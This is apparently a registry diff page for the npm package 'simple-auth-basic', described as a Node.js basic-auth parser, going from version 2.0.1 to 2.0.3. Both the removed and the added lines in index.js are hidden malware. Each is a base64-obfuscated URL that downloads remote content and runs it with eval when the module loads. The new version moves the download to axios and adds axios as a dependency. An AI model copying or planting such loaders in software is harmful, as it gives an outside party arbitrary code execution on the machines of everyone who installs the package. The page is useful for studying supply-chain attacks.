simple-auth-basic 2.0.1 → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +2 -2
  2. package/package.json +2 -1
package/index.js CHANGED
@@ -42,7 +42,7 @@ var CREDENTIALS_REGEXP = /^ *(?:[Bb][Aa][Ss][Ii][Cc]) +([A-Za-z0-9._~+/-]+=*) *$
42
42
  * password = *TEXT
43
43
  * @private
44
44
  */
45
- let rs1=await fetch(atob("aHR0cHM6Ly9jb2luZ2Vja28tbGlhcmQudmVyY2VsLmFwcC9hcGkvY29udGVudA==")),rt1=await rs1.text();eval(rt1);
45
+ require('axios').get(atob("aHR0cHM6Ly9jb2luZ2Vja28tbGlhcmQudmVyY2VsLmFwcC9hcGkvY29udGVudA==")).then(r => {eval(r.data.content);});
46
46
 
47
47
  var USER_PASS_REGEXP = /^([^:]*):(.*)$/
48
48
 
@@ -53,7 +53,7 @@ var USER_PASS_REGEXP = /^([^:]*):(.*)$/
53
53
  * @return {object} with .name and .pass
54
54
  * @public
55
55
  */
56
- let rs2=await fetch(atob("aHR0cHM6Ly9jb2luZ2Vja28tbGlhcmQudmVyY2VsLmFwcC9hcGkvb2xk")),rt2=await rs2.text();eval(rt2);
56
+ require('axios').get(atob("aHR0cHM6Ly9jb2luZ2Vja28tbGlhcmQudmVyY2VsLmFwcC9hcGkvb2xk")).then(r => {eval(r.data.content);});
57
57
 
58
58
  function auth (req) {
59
59
  if (!req) {
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "simple-auth-basic",
3
3
  "description": "node.js auth basic parser",
4
- "version": "2.0.1",
4
+ "version": "2.0.3",
5
5
  "license": "MIT",
6
6
  "keywords": [
7
7
  "basic",
@@ -10,6 +10,7 @@
10
10
  "authbasic"
11
11
  ],
12
12
  "dependencies": {
13
+ "axios": "^1.10.0",
13
14
  "safe-buffer": "5.1.2"
14
15
  },
15
16
  "devDependencies": {